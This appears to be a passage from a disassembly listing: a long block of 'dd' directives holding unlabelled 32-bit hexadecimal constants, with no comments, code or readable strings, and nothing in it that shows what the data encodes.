		dd 15D580E3h, 0C89A0134h, 970055F4h, 0F967D2F4h, 3B4A5A7h
		dd 542608ECh, 0CDE0E3DCh, 53007935h, 47E69A34h,	0EC7812Ch
		dd 0A5286F83h, 0F11245E0h, 847B2DDDh, 6C0B2EE8h, 970E55h
		dd 1C7EE653h, 0C4E00004h, 1ADCA501h, 0B7007F5Bh, 6E2F77F5h
		dd 2860FBh, 0DF46EE8Dh,	0E5B2E61Dh, 0F0C0ED18h,	40D360h
		dd 0EBAC8414h, 7AEC8ED5h, 0A22B080Fh, 0F7F6A03Fh, 3B43227Ch
		dd 0EE9DD924h, 9A40074h, 0CC02C691h, 32492060h,	38ECEA0h
		dd 0BA57EC3Fh, 0D0FFC38Ah, 0C0279C29h, 4005F100h, 59732484h
		dd 3A8FA00Ah, 74C200C9h, 52FFD55Bh, 0C400778Ch,	251B6740h
		dd 7E07D94Bh, 6E961C8Fh, 0AD7CC0E6h, 6D29D33Ah,	0CC78FE01h
		dd 7579F391h, 324F3880h, 0D4A06094h, 6128FC00h,	277ECF8Eh
		dd 86B30095h, 0F0DD253Fh, 40F9BA66h, 96DC78F0h,	690C2707h
		dd 0E04EA7ECh, 1768A451h, 59B400E4h, 242B477Dh,	2800C484h
		dd 0D106C27Eh, 5096FB8h, 64867CE5h, 0F680008Ah,	1A9EECFh
		dd 603A6CEAh, 53A481E4h, 0B40A6761h, 62DCC8h, 3D43C636h
		dd 0DDFE63C1h, 812488CEh, 0E2952C81h, 72B4AECh,	2291BC89h
		dd 0DA5F705Ch, 0A00A24Dh, 64ED8CD0h, 74E6318h, 0DC86E4C3h
		dd 0CBC44094h, 6E3C6C9Dh, 0A6C90013h, 69E66AE3h, 412E0050h
		dd 673E8FCFh, 450068D4h, 907D927Eh, 538DDBh, 649FA0E4h
		dd 43FE6141h, 0EB453E00h, 7737A23Fh, 5FF5076Eh,	60138627h
		dd 0CA180AC2h, 8833D200h, 0B2F197F2h, 19C40168h, 0BCC9F38Eh
		dd 0B94F20ADh, 8CA0B6E6h, 0D4F036BEh, 41232D01h, 977AB29Ah
		dd 6367D041h, 4EBBC450h, 0D4F1001Bh, 3D561A8Dh,	45386976h
		dd 0F88A9DA3h, 0E2D00440h, 0DDEB51h, 0CCDC7FFDh, 27D78DB5h
		dd 61887700h, 33FC6B45h, 2BBC1D94h, 0A4E00F9h, 0BDD3C1DAh
		dd 0F08F9A00h, 0A20E19DFh, 654303E2h, 45468D0Bh, 63FE2BF8h
		dd 0DC022770h, 0BCE069E7h, 0EA084050h, 236C00D6h, 6FCEFB0Eh
		dd 8F008832h, 2611788Dh, 481451FEh, 1849FDE4h, 0E2A70A0Bh
		dd 0DC013F0Bh, 0C09E8D33h, 0C48C0BCh, 0BE290003h, 6A89B93Fh
		dd 18B60158h, 2C30DAD2h, 427080EDh, 0ABBE3DF1h,	0E318B07Ch
		dd 0F6F4FF8h, 5CDC5378h, 8D655520h, 0A40434C8h,	0D27B49E4h
		dd 0FA475090h, 9888145Ch, 0B111B027h, 0DC0200DAh, 0C1680F91h
		dd 7E6D1388h, 3A5C00F7h, 0C36C238Ah, 972E7700h,	83382BD2h
		dd 0F46F00AEh, 65F66A46h, 0EE00A005h, 0F3F593FDh, 0E0413Bh
		dd 0EDC3079Eh, 18B4E676h, 123E9400h, 0FFCDDC39h, 68E039A6h
		dd 0DB366B00h, 181AC013h, 0C60007F8h, 78C3FDD9h, 1F06329h
		dd 83727AC7h, 40576EB7h, 0E3C501FCh, 0A1E58000h, 0AE495C87h
		dd 2B3A0B2Dh, 2600F98Eh, 4E648561h, 0EF775504h,	74C7B57Fh
		dd 3C9C8BE0h, 0E41B58D8h, 80F16115h, 9F3B1A38h,	460516FDh
		dd 194D0ED2h, 7511EBE0h, 401F4A80h, 7D99F9h, 7FECD0Fh
		dd 145A51h, 1BCEF293h, 0C6242A8Dh, 985EAC03h, 0E0DA7CFFh
		dd 7854B2h, 0BD6028B3h,	6C012DAAh, 35035DFEh, 0C83B1188h
		dd 3DE0D72Ah, 3F0F6h, 0B240D405h, 9F09C344h, 0A27D009Ah
		dd 6709C4ECh, 7DB1950Ch, 0E5DBB080h, 0A900AA6Fh, 89252B83h
		dd 4B8CA7h, 0D66117D8h,	905086CAh, 0A5847C00h, 47BC97ACh
		dd 0C291C0A6h, 0C05ADDD2h, 0E1449001h, 226D82B0h, 199FDE4h
		dd 4368EAAFh, 20BFE5E8h, 2300E73Ch, 7E488EB3h, 4C179Dh
		dd 49ED1659h, 53565187h, 0EE5D29C0h, 9257C1D3h,	3FC0078h
		dd 0C8F7EC41h, 593B88CDh, 0C9A61275h, 0D38D1400h, 0B418D4h
		dd 43E733ADh, 5D45099Ch, 0C0FEFB8h, 8055FA9Bh, 0B2CDCFD0h
		dd 0D4353DECh, 69B89F00h, 0C3F03E4Ah, 500A3200h, 0C4086A1Eh
		dd 0AFD2050Eh, 90C0F72Ah, 0DF9E8398h, 990A4B00h, 1B063FFCh
		dd 3AC6008Ah, 0DC4C2759h, 0FB05FEBFh, 5DEBB0C2h, 0B172C881h
		dd 0ADA2F8h, 1B0EC901h,	0B6577F13h, 0FC773B00h,	741F3D1Ah
		dd 0A5A91CDEh, 0DDB20018h, 10CDF4D6h, 322D250Fh, 0E0401DDCh
		dd 2AC99536h, 5FE8008Bh, 43908A72h, 8C035434h, 3AABE6B2h
		dd 12A1B89Dh, 68133ACEh
		dd 78D6AE31h, 0B36ED03Bh, 10614B00h, 0E9F98CCFh, 3E90AAh
		dd 85A441C2h, 12B7573Fh, 6689FA09h, 0CA8A3BDh, 9108E08Bh
		dd 0CCC23C29h, 0DE1A7D00h, 0CE64B622h, 40CA9B0h, 326AE45Fh
		dd 0F29E01D0h, 0E0DDE253h, 0AB19E017h, 56847702h, 0E826E6A0h
		dd 3D6EE780h, 0ED800FD3h, 375786BEh, 3400789Ah,	284BEAA6h
		dd 0FE382AFh, 0F09D1647h, 0F4EDFA0h, 4800B994h,	63238EADh
		dd 0FC38A0C3h, 4C92FE5Ah, 6400282Eh, 0B6318924h, 20907532h
		dd 5FD3520Eh, 0B9EE81CEh, 5834D63Eh, 0C0E6775Ah, 0F90BBC91h
		dd 8CFA27Bh, 18B6AD67h,	80F0BBE1h, 0D8E200F0h, 0C87E912Fh
		dd 740E859Eh, 20180EEFh, 33EA9098h, 1DE8125Bh, 0A1F100D0h
		dd 5FBB5126h, 0D3199400h, 0B3818C6Fh, 405350BAh, 8823FAABh
		dd 0C9FA053Ah, 0F9E3A00Fh, 0DC12E150h, 5AE45FA3h, 293F6013h
		dd 76F9C234h, 0E648B863h, 0DCC0C03Ch, 62E70086h, 44383EA2h
		dd 350009F1h, 6A639302h, 0FED0D7h, 17EE3AFFh, 0FCD9A1C6h
		dd 268FFD00h, 4A896B65h, 0FFCF0052h, 8A4E3C14h,	0E000EED9h
		dd 0EAF37CE1h, 853745h,	7E93AB2Dh, 0CAA38D14h, 0F9B4081Eh
		dd 199E5B81h, 3BDCFB76h, 78FA0F0h, 3AEDF07Dh, 919D574Ah
		dd 0FE0D40DFh, 0EB8D76A3h, 0ABCFF500h, 9CECDA94h, 81593C42h
		dd 0A1EDFD80h, 2087A931h, 6B91BD00h, 72FF75B6h,	806A00D3h
		dd 40701E2Ah, 0AB00F337h, 881FF18Ch, 4720D7h, 51E8A1C2h
		dd 8E8D91A8h, 8B99AA01h, 61AD8467h, 9F056B28h, 5E8AEA3Bh
		dd 82B20EC0h, 0D001789h, 68D575E1h, 72F1B700h, 22DC93ECh
		dd 181060AEh, 664A92A6h, 1E18C03Eh, 607A1FFh, 5881C3C2h
		dd 6EB9A1Ah, 56103B28h,	4A0061B6h, 2A92C9BEh, 36ECF3Dh
		dd 0ED67B52h, 67806BD5h, 770A2E22h, 0F093E6D7h,	2812818Ch
		dd 8A0A846Bh, 0E4628F56h, 61347F01h, 7881B912h,	93240FD0h
		dd 1CD1A182h, 1988378Ch, 0C07F609Dh, 18C686A7h,	0D098AD6Fh
		dd 4E42DC81h, 2CC0A8DDh, 5C21EE68h, 6E984454h, 7E318C00h
		dd 48A7CD6Ch, 881705B6h, 9014020Fh, 4F94BF40h, 0ECFF7406h
		dd 79380E52h, 835658DCh, 0F036230Ch, 10088B1h, 0E95DE8A0h
		dd 3ACD8C4Ah, 1B246B8Dh, 510C18C4h, 31CFD936h, 946463C4h
		dd 9824E0DFh, 18DC60C9h, 0A6E3D0A1h, 3F2820FBh,	0E552ED18h
		dd 3F3EA779h, 0A60F79BCh, 6FF1112h, 0E9751A6Eh,	48288AF6h
		dd 53B9889h, 65F100A2h,	333DE4A8h, 4A7CD1h, 58BF072Dh
		dd 922486D6h, 6F79CB60h, 0A1D58822h, 0BC166B24h, 0D736BF00h
		dd 0B39EE348h, 376828CFh, 78FD0A64h, 3B79BF8h, 935A135Fh
		dd 21E00830h, 5F88098h,	9FDBE7D4h, 18678077h, 0D4FD1C0Fh
		dd 0BBEC5146h, 0CE4C2879h, 278A00CDh, 0F61E943Dh, 0CFD8A054h
		dd 5816488Eh, 0E90211h,	687FE283h, 26171D8Ch, 0A87C1338h
		dd 6ED44070h, 5DC73A00h, 2334D573h, 0B8773DA1h,	20AA3318h
		dd 2C1463DDh, 0F120A8CFh, 881959D0h, 20B67E20h,	26D4684h
		dd 52A0F87Dh, 10E23163h, 0F88597h, 5E3F43A7h, 0BECEF51Fh
		dd 0F0D01A36h, 3A6F06C8h, 60C60A92h, 0A07FBA00h, 0A775A155h
		dd 24ED0027h, 0CCD976ECh, 79C181BFh, 37FDDB5h, 0DF00C1BCh
		dd 969310A5h, 3F33B399h, 0E5097Eh, 10ADBF21h, 1DA8C2E0h
		dd 3A262902h, 0FF3DE6h,	2B029247h, 1E93C405h, 0C0542CB2h
		dd 85A422D8h, 60E9C47Ch, 0B14EEC67h, 4AF4005Ch,	363C3A64h
		dd 2CD3EB28h, 7A096E46h, 0F8899F8h, 40E4442Ch, 0F3F88296h
		dd 0DCCA3A7Dh, 4FCE1E0Ch, 0AE5C46B0h, 39AC4085h, 3BB4DA0Ch
		dd 8C6A60FDh, 0A5F87605h, 5C288B52h, 0F87E019Ah, 0EA4A5082h
		dd 0A03C20DCh, 0C8493A7Fh, 9F523A10h, 9D077094h, 0E181CC7Eh
		dd 4180EC35h, 0EA625E19h, 382C911Bh, 0EE05756Ah, 88812E27h
		dd 8434574Eh, 18B7883Bh, 5AF3D803h, 0A7B16C97h,	85922B71h
		dd 0E4C8BC4Fh, 8BB61AC0h, 0B17066h, 50B8EF61h, 457E9CD6h
		dd 0FD39D302h, 68B353ECh, 3062A278h, 0B7E0B5BEh, 5B1E734Eh
		dd 9092CCBDh, 49F2040h,	1409D6Dh, 7F9A9219h, 7003D145h
		dd 20B25A8Ah, 0CE186974h, 0AF11D035h, 0A3540092h, 0D9F36746h
		dd 8CC7F4Eh, 18E21C3h, 0C88F546Ah, 44D1B9D6h, 578009DCh
		dd 80704C06h, 784ED045h, 60C0E888h, 2C07488Dh, 303C5A41h
		dd 1F950E0h, 2CD8FB28h,	0BC028446h, 41969410h, 0D810E731h
		dd 621C10A4h, 6A1DF5F9h, 0F4070480h, 64CEDAFEh,	6085507Dh
		dd 249510BFh, 70CC4996h, 1000A7D1h, 4A6BC2AFh, 0B056E379h
		dd 58440A68h, 5C503D28h, 0F04E846h, 83958587h, 5059D338h
		dd 6FF1000Ch, 927B0B54h, 2128981Dh, 8111DBC9h, 9110A380h
		dd 34A5A996h, 10ABBD07h, 7042B520h, 6F61F9Bh, 1CC424AAh
		dd 0BBFB40CCh, 517EF184h, 0A6676812h, 0BA9D7001h, 4060D1DBh
		dd 1809189h, 457DE548h,	0BC2089D5h, 0F3900359h,	3C204CD1h
		dd 8CE1E8h, 773D7209h, 31DB690Eh, 0C86CB049h, 0CF6929Ch
		dd 4FB840E8h, 35FDB31Bh, 10429420h, 5848D559h, 0B224AE48h
		dd 1DE454E7h, 108DC408h, 0E6E08953h, 94FD5DE2h,	0E7AD2578h
		dd 0A75B8C21h, 0D32C6018h, 0BA66F972h, 72212F09h, 0B018027Bh
		dd 9E628AA2h, 4CEC5C40h, 0F59259DFh, 11B53848h,	10A08080h
		dd 91A19690h, 0A8D4C360h, 0DB202000h, 1E8C9ABCh, 803C5136h
		dd 25F03C59h, 35EA18DCh, 0E11CD1EDh, 2FD2F000h,	0A21F6B34h
		dd 0FA8F0293h, 0FBA0C14Ah, 0F6266C64h, 467CECCEh, 0A2F200FEh
		dd 0D41A140Fh, 75D5024Bh, 0C7BAE2D2h, 46AECCA4h, 39EE36h
		dd 5B437041h, 392EBB27h, 5888DE1Fh, 3E575D82h, 6DE0E184h
		dd 56745829h, 0A602C4AAh, 0CBA27618h, 0CE7A001Ch, 62A0A918h
		dd 1383D112h, 1AA43C58h, 0F01FBEA0h, 34822D11h,	34C0E525h
		dd 0A280DF1Ah, 0C5AB263Ah, 0D69062C4h, 0F0228504h, 4E04CC1h
		dd 8340C497h, 86675610h, 9402A846h, 0B746BD54h,	0F017C431h
		dd 0A21B546Ch, 325B760Ch, 0F81A19C6h, 0BB778A1h, 88F18958h
		dd 0C8457801h, 0AC84DE34h, 23A14344h, 403BF533h, 813FB923h
		dd 56951574h, 7ED00BE3h, 4C48480Eh, 3CFBA800h, 15C708F5h
		dd 39A73232h, 0A8D493E6h, 0BFE96Fh, 6EECABE7h, 8FAFA33Fh
		dd 451C300h, 94631F7Ch,	0AEA20218h, 0FDF36EC1h,	7E100064h
		dd 7F00523Ah, 19B7CD6Bh, 0EC0075C2h, 148C9B9Eh,	9CA7916Eh
		dd 50B100CCh, 663AA5FFh, 813F9494h, 0ECF4C4Ah, 0A6C4F3D5h
		dd 5636C475h, 763CB1C2h, 18E80C4h, 4A90226Fh, 0A9C044C9h
		dd 0DEE0717Fh, 0FC0840F6h, 0CEEA04E9h, 0C2F28EAEh, 0E4690C44h
		dd 8D1BA8Ah, 0A642C06h,	9C9027E6h, 8750076h, 0AFFB0935h
		dd 8642BB38h, 0D4AEA646h, 0D9472E48h, 60696438h, 239CF879h
		dd 0E3118352h, 0F8819B00h, 0D5284FC9h, 6251073h, 37CA001h
		dd 137FEDh, 0F44AEAD7h,	14F971Fh, 0F5DD3309h, 919C1780h
		dd 712E8057h, 1A33474h,	0A9D44D94h, 82D79024h, 0EA1A5291h
		dd 0BA9040D9h, 1DA10408h, 879DA4EEh, 90C0484Ch,	4646A154h
		dd 0FEC22297h, 87540068h, 1D3FA012h, 9B02DAC4h,	25F650E2h
		dd 0FF9C81FCh, 302DC646h, 480F52C8h, 0D3D9E6FBh, 41EEF699h
		dd 0E887300Fh, 18C1310Eh, 0A79704DCh, 0E42074B7h, 84204753h
		dd 0F2603D09h, 0E1409E4Ah, 0C00F5402h, 985307A9h, 0D09497E4h
		dd 9D23FF83h, 0F1F2BF00h, 0B33A22A7h, 68CBAA8h,	4A62420Fh
		dd 0EEEA11D1h, 3934EB4Dh, 0E7B0D437h, 0E1B67B17h, 7F70DA00h
		dd 94F41Dh, 0EB1CEC9Fh
		dd 4ECE06FDh, 6E1D4090h, 661851BAh, 0A8BF3238h,	847AACh
		dd 6F92824Bh, 4164D7F6h, 0BFE84001h, 16EB2751h,	6CF2993h
		dd 91BA52BCh, 0CD25BB06h, 21C032h, 0EECADF60h, 138CB638h
		dd 713F0A1Ch, 9546700h,	0C81D5Bh, 84EA589h, 9FC55696h
		dd 1E3606E8h, 518A026h,	9B429864h, 0E2748836h, 0F9005273h
		dd 0FB3E275Ah, 0EEFDC2h, 0EFF4E5BCh, 0E671307Dh, 75F2BB00h
		dd 804A68F3h, 6D4E0BA1h, 0A80225D3h, 0CC0343BEh, 0E65980F4h
		dd 7E96393Eh, 32794A30h, 0DC066522h, 0BB560F3Bh, 0BE4609D1h
		dd 2C03ED3Eh, 911CF736h, 65405CE9h, 4C60EC69h, 52B60064h
		dd 7C31C6D5h, 4CB822DCh, 398A4233h, 0D307D4B2h,	0DD17D04Eh
		dd 6C000119h, 47527F58h, 74578Fh, 0C20CCFF0h, 0C7F2D4B8h
		dd 5C003E7Ch, 6DE002B5h, 895F46h, 9C472057h, 42FAB270h
		dd 0E61AE300h, 2CF6CA07h, 0A3610927h, 8500AE7Fh, 92D65147h
		dd 0CFC4FF00h, 225ACA83h, 807EA3h, 6EA9CCDAh, 89057EE4h
		dd 0AE29BF00h, 2F20F67Fh, 686260E7h, 0D0A9B58Fh, 0AAB4DF00h
		dd 49E529E8h, 7D323C0Bh, 361BA500h, 0F9553DC8h,	0A0B08A6Ch
		dd 51613F1Ah, 0D6E52B80h, 928038B5h, 183A1305h,	988722B2h
		dd 9076DC0h, 0B9BD0116h, 269471CFh, 6A308064h, 0D2500453h
		dd 740E200Bh, 568B3118h, 1C87D61h, 15FF65A0h, 0FC49D6FDh
		dd 3B00EC37h, 0D228E805h, 0E30203h, 0B0DCF0B7h,	238C0F54h
		dd 0DA81FF0Ah, 8B8CB84Eh, 4CC25158h, 382C2848h,	781D0EB7h
		dd 603FB4D5h, 8E00CB3Bh, 0BFF7172Fh, 0C40061B2h, 1551331h
		dd 784380h, 919881E0h, 421273D1h, 8AF6B0C0h, 58F10Fh, 46F3BF20h
		dd 930C98B0h, 0F4BD1F00h, 0B222E35Fh, 6A710082h, 0D4BAFF5Dh
		dd 0B10FDF4Fh, 3FBAD65h, 0C0DCE560h, 0E42EBD0h,	0B4E8329Ch
		dd 0B949FE20h, 4F06AFE9h, 0BF9FB058h, 21076008h, 85B9B1F8h
		dd 9DA25400h, 6024204Dh, 672B03B2h, 8FCF32BDh, 0B05E581Ah
		dd 11301730h, 0FCB880FAh, 0F89BFB4Fh, 5DD0738h,	63EF6575h
		dd 280EE296h, 0B71AE81Eh, 11799E0Ch, 71150094h,	120FFB4Bh
		dd 706633FFh, 219108h, 0B071ED3Dh, 0AD6A7687h, 24CF9F01h
		dd 2A9A0774h, 6FB9D8C3h, 0B6E719EBh, 0C71E1004h, 89B09CD1h
		dd 54B440h, 0EBBF4B9Dh,	3778199Fh, 802908F2h, 3EEF7721h
		dd 829D4Ch, 503C3F53h, 33C20179h, 1D8C8C50h, 57CF7218h
		dd 18CD85C8h, 0A17CD628h, 6603920Eh, 0EA5C296Eh, 30E06738h
		dd 1009863h, 6CED49FBh,	70F21D03h, 5745C023h, 0F54DDD11h
		dd 1B30400h, 0E96EB9F7h, 78107CAh, 73EE6FD0h, 0D4C8982Dh
		dd 781E86EDh, 0F1C1C85Ch, 41D10965h, 617EF0C7h,	0D3EC017Ah
		dd 771F06A8h, 0FCBFC971h, 0CA00E328h, 0C61C4A20h, 4C019311h
		dd 87008303h, 0AA5B64DFh, 0DA00ABB2h, 0EFE24AC8h, 3D2A4C20h
		dd 7307A290h, 86442371h, 0C21B1809h, 0C020290Ch, 0A04D50ADh
		dd 90B2BB18h, 39DC00B7h, 88328F51h, 6E0060D8h, 765BABAEh
		dd 3C875ACEh, 4E2B9AE3h, 3D24814h, 2F6D9F02h, 0FB7948h
		dd 1281F431h, 6BE472h, 53038B8h, 26CE2877h, 47A529C0h
		dd 0CED54CAh, 1244F8AAh, 76267019h, 893A75E1h, 0C2E9262h
		dd 6088C92Ch, 0D127E122h, 0C001664h, 3DDCC1E3h,	769A47B4h
		dd 0A19F0693h, 50A56B95h, 9D72FD00h, 2DB17E5Ah,	240C91Bh
		dd 0E3A4005Dh, 0F50A7EAh, 0B995DA0Ah, 8852C19Dh, 80A68A63h
		dd 4BA55418h, 0F2F29478h, 1ED7332Bh, 40B5B2A9h,	0FE99E2A8h
		dd 93009D65h, 0A4693C6Eh, 0F18EAFDh, 0ACA02CD2h, 0B54FD600h
		dd 60602601h, 0C4D33BA0h, 0FE070188h, 0EE2EFAE9h, 4CEB6090h
		dd 7D020800h, 0E4E8D621h, 8C860EECh, 0CF6A2F56h, 179A9DB8h
		dd 0E430003Bh, 511CA4E5h, 4103868h, 4C9A61F5h, 1910803Ah
		dd 58E756E1h, 0B0B40093h, 45918ACBh, 0A707552Ah, 0FA88539Ah
		dd 5A041AC1h, 202229B8h, 628BEB7Bh, 61092904h, 2F210C24h
		dd 10AB122Bh, 0D8896571h, 2284DC08h, 3B229B7Fh,	21442089h
		dd 84606500h, 1D5CEC48h, 0DFB2007Bh, 24F7F9A0h,	8800ED4Fh
		dd 0BB80CCA8h, 0AAFA7Dh, 0BACD7A0Ah, 384F0478h,	9E890100h
		dd 30A9A686h, 16FF0029h, 0C86031D9h, 13005DF6h,	6AE905EBh
		dd 0BE29ED0h, 5230F4EDh, 88A31D01h, 0E4B4E15Ah,	7703AD35h
		dd 2EC346F5h, 8071D041h, 349000CBh, 98236E9Dh, 2F011C5Ah
		dd 56A7CEA1h, 3C246331h, 8C2B0091h, 99FEEB18h, 0D138A636h
		dd 9F4B004Fh, 9E1CD424h, 0D0633E5Ah, 0E690D900h, 0DEA8EA65h
		dd 50D60B00h, 0E49542C9h, 113400ABh, 1D577A1h, 8B0D838h
		dd 700273FCh, 53C4A0CEh, 6CFC88A9h, 309DD140h, 273F3C09h
		dd 47C52A80h, 0CFCB3C67h, 1C5F4000h, 2B6143AFh,	46E63E3Dh
		dd 89F30D80h, 0D0740992h, 88AD7900h, 67C01648h,	4A3A3ECBh
		dd 6083B3B8h, 0C7D00ABFh, 0CFF87EC3h, 110E40CAh, 0E031D612h
		dd 3D10412Fh, 0A1A30145h, 2749444Eh, 0A6D0CFACh, 68002AEFh
		dd 6CCB72C7h, 2B33571h,	6B1ED0B5h, 61C05655h, 381F77C6h
		dd 0EBB48E0h, 0C08116B9h, 0AB6D231Fh, 934300E7h, 0C15B609Dh
		dd 4A00958Dh, 0ADF12EAh, 3855090Bh, 0B80013B2h,	48FAC3E7h
		dd 0CE00AA99h, 0FCBEB53Eh, 0DD6F71h, 983852A4h,	288CC8A7h
		dd 1F01997Ch, 35DC12AEh, 7660813Ah, 1C0F71C4h, 403E7EA4h
		dd 0E8CF467Ch, 5300BC8Eh, 0D645786Ch, 4F1CAD9h,	0BBECC459h
		dd 9C34904Ah, 1207162Bh, 61DB06FEh, 89B2AE90h, 437051h
		dd 0EEEAD634h, 0D081023Eh, 0DF00E4EAh, 6D89291h, 0FDA035h
		dd 33E2082h, 2AF6A378h,	7B5D2B00h, 0A0E92858h, 1DDF0039h
		dd 8D41B0D8h, 709D5FCh,	80C04483h, 2B114600h, 0B0DC1FF7h
		dd 0BE8F8ECAh, 1604E7E9h, 0B20080D0h, 373D11C8h, 94AA80A6h
		dd 0F5445448h, 0F039097Dh, 1420C647h, 831BA9E5h, 6F904303h
		dd 0C953B3h, 0E8DBC018h, 5AA905D4h, 0A6DD7100h,	23F4FACAh
		dd 0E9590437h, 808F2FA7h, 0CE10843Ch, 0EB545700h, 16706334h
		dd 0F85B3F9Ch, 0B0E843A8h, 94B8003Eh, 0B66812FCh, 0E507C44Ah
		dd 126586Dh, 7B90559h, 4DB11CC7h, 0E03AF6CFh, 0F1022F6Dh
		dd 84DBC5F3h, 0AA7C6054h, 0DF85003Dh, 9135D09Fh, 270019D9h
		dd 2BB84CFDh, 2CCF7Fh, 47A8A743h, 9E3B7915h, 0DE102F00h
		dd 0E05C3624h, 0E5B5004Bh, 0B608BADFh, 5F790A9Fh, 41A40B00h
		dd 0D5E8922Ch, 0C5FA00C1h, 5B3A6DDCh, 0C00BDB1h, 50A9AF0Eh
		dd 3C2A7243h, 4C00F0C8h, 4E0DF37Dh, 5800B355h, 0E50A0EC2h
		dd 347EF80h, 7C3D1814h,	0EAB44BE1h, 8E5287h, 5DB52735h
		dd 3F441319h, 764800DEh, 2FB4B31Fh, 494610C7h, 6278C3B0h
		dd 0C55B02FDh, 4F47338Dh, 0D8A589C1h, 7FE22816h, 0D5761B05h
		dd 0C93DC8Bh, 0A65FF965h, 9AC1830h, 8D72E54Ah, 301FF400h
		dd 0B200DF6Dh, 0D62EB7DDh, 86BA54h, 0A0258F29h,	67341ADCh
		dd 36896E00h, 807EC993h, 0C0241CDBh, 5472003Ch,	52047BC5h
		dd 0DC67C300h, 7419FBB9h, 3090A4h, 4C782F1Fh, 6C65183Dh
		dd 0EE570C0Eh, 735660E0h, 67FC84h, 30B88D9Dh, 0EADB948Eh
		dd 1063F500h, 0DAB9C0F4h, 0FDA90038h, 4EB21C86h, 0DC00A56Eh
		dd 0F0A8C562h, 67A78Dh,	5236BB2Ch, 0B9CEF8FBh, 17F2AA01h
		dd 730434B3h, 4080A2E1h, 69BABFAh, 84007237h, 0BFBD1239h
		dd 0F1406Fh, 88471FFBh,	4FA3291Bh, 13755303h, 901AD724h
		dd 0E9A69Eh, 719F2789h,	0E520B14Eh, 59B22900h, 0FF09176h
		dd 0AA401683h
		dd 9E3D8384h, 1EBC2DB8h, 29346100h, 0FBA26A2Ch,	88B80047h
		dd 78FD4E3Ah, 74002699h, 0BC95B087h, 140B6Dh, 8B0F0AD8h
		dd 0C565E204h, 5EB8191Ch, 3803D126h, 0C8F7C6BFh, 0F0EF7E76h
		dd 90B4000Ch, 284C508Ch, 0D3002CA4h, 0CCF87FEBh, 13967552h
		dd 0D81157h, 3817CA44h,	3A00A624h, 6E78F8Dh, 0B44C23h
		dd 0F8E8F77Fh, 89B8C794h, 0E6B64A00h, 86DD520Ch, 0CBE0E3D3h
		dd 94EC01EAh, 5CB9F90Fh, 8A40D497h, 8323CA00h, 0A84F6F1Ch
		dd 5F8B76Ch, 0FC95E200h, 0EDF89047h, 711000B9h,	0F0653EFFh
		dd 7076703h, 60EF9544h,	92D1D2B0h, 49F6E6h, 0A4728C16h
		dd 2DF27B9Bh, 31023001h, 5632440Eh, 7A92C821h, 4B80FF4h
		dd 0A9EECAE0h, 91397F46h, 6BE280EDh, 0E1D72E8Eh, 78B14864h
		dd 43811900h, 0B90597B6h, 8E0092EEh, 0C24A152h,	204ACFh
		dd 68D6E361h, 0A055AE9Bh, 0B4570700h, 33CD7DA9h, 3A030025h
		dd 0D52FDBB0h, 3B00698Dh, 0FD6046ECh, 7C2AD7E9h, 21BF0099h
		dd 0AE4CAC23h, 3000E2FFh, 39778543h, 795F4AEAh,	0B61A002Eh
		dd 0BDDE7F1h, 2648687Ch, 0F4777E7Bh, 84510200h,	0B667D6CFh
		dd 7FF3138Ch, 0C39E05ACh, 3B04800Ah, 2300BD1Ch,	0B709E5A9h
		dd 20427Ah, 5CC6CB37h, 0D0192E32h, 80DECC38h, 0E8C0335Bh
		dd 7E45643h, 8A10238Eh,	5C1140A3h, 1B0004ACh, 8443AEC4h
		dd 0E726632h, 0A655ED83h, 0DD2973E0h, 457F3ABFh, 313C8A01h
		dd 0B80A5D91h, 0FEF1D1FFh, 0F80619F4h, 302307D8h, 1ED8E7Ch
		dd 0F4E44803h, 0A371A20Dh, 0B8BBA52Ch, 807C5001h, 0C0C6E054h
		dd 3CB66F4h, 5933FDB4h,	0C4F8791Bh, 0B7036CA7h,	0DED635F1h
		dd 9326D876h, 342300F8h, 0F2B29DFDh, 6C58ADA2h,	0F412168Fh
		dd 0C2D4B802h, 0B80E641h, 24FCB8D2h, 2B4C7810h,	4E102900h
		dd 3403EE7Ch, 417939B6h, 0D24DFE00h, 8AC58670h,	0EFE69C00h
		dd 62156F4Fh, 82110FDDh, 2620F376h, 21BB3BB5h, 0B694C704h
		dd 0A4D0B0EFh, 0FF75CDh, 0F5F15642h, 672D8ECh, 0C8625C00h
		dd 1E8E1797h, 0FA1279AFh, 0EE800DAh, 6B5F1FCAh,	0E0749172h
		dd 3B00BF7Ah, 4A70EC82h, 90EEFEADh, 3641002Ch, 0F45E2A12h
		dd 0D49887C1h, 49C4D407h, 83C10C5Ah, 0CACD4FEEh, 76F81271h
		dd 0E4A13C70h, 84069100h, 92DDAB34h, 7C4F8A0Eh,	0FC7F40DFh
		dd 0DEB3FAh, 551BC7A5h,	6FF184AEh, 0BB54EF00h, 1134E581h
		dd 127E71DDh, 73E57F9h,	0E0B417E4h, 0B931433Fh,	2BB6CA02h
		dd 0E0B0D5ECh, 1371677Dh, 8EA10Ah, 5F4BF254h, 1A001D69h
		dd 977EDC2Bh, 3A3356h, 0C920245Dh, 0B9B42D9Fh, 7AF37800h
		dd 4F12C283h, 0BB3200CEh, 36D479Dh, 0E00EDEEh, 0EC9829BEh
		dd 23F23F6h, 0E1E592FAh, 68CB010Dh, 754B5FE8h, 9C848700h
		dd 2D7E833h, 0B0B548F5h, 82571000h, 8F796D08h, 966CF705h
		dd 0D8904BFFh, 7E748789h, 0F5E90082h, 0C9105D33h, 8848A9B8h
		dd 81AD25C5h, 2513E6A8h, 0C1277180h, 1BEDC5ACh,	190CE458h
		dd 0B4789753h, 625DECh,	0F0D91210h, 0E26007C1h,	67970406h
		dd 40526Ah, 7AA6F784h, 88B04746h, 0E4AC506h, 386D9Fh, 1C8F8341h
		dd 90545FD7h, 5B1A750Ah, 1830B3E3h, 35BDA2h, 807F5E06h
		dd 0E827AE42h, 0E28CAB00h, 3ED2847Ch, 96B09A1h,	4461262Ah
		dd 458C4117h, 0CCE2C890h, 0C0F2100h, 50628A74h,	60D2F5DAh
		dd 0C746ABE8h, 5084300Eh, 44789CA5h, 0E7773928h, 0E0496807h
		dd 0B4D36665h, 0B000B588h, 0F65C3ED4h, 1C3C9CB7h, 743C08Ah
		dd 1BC5B831h, 9ED0C800h, 7F1CA79Dh, 75A30393h, 5611221Dh
		dd 0D54A4000h, 903CDD84h, 0A89A0CF2h, 0B1681C28h, 8E0AA377h
		dd 0C42303E4h, 89149485h, 9CCDA443h, 36190012h,	9B0AB10Bh
		dd 18000CC1h, 63894AF3h, 1CB3BFh, 1DAD0F86h, 0FA6C8B48h
		dd 99843F01h, 5A834052h, 66009828h, 26459C2Fh, 0B49287A9h
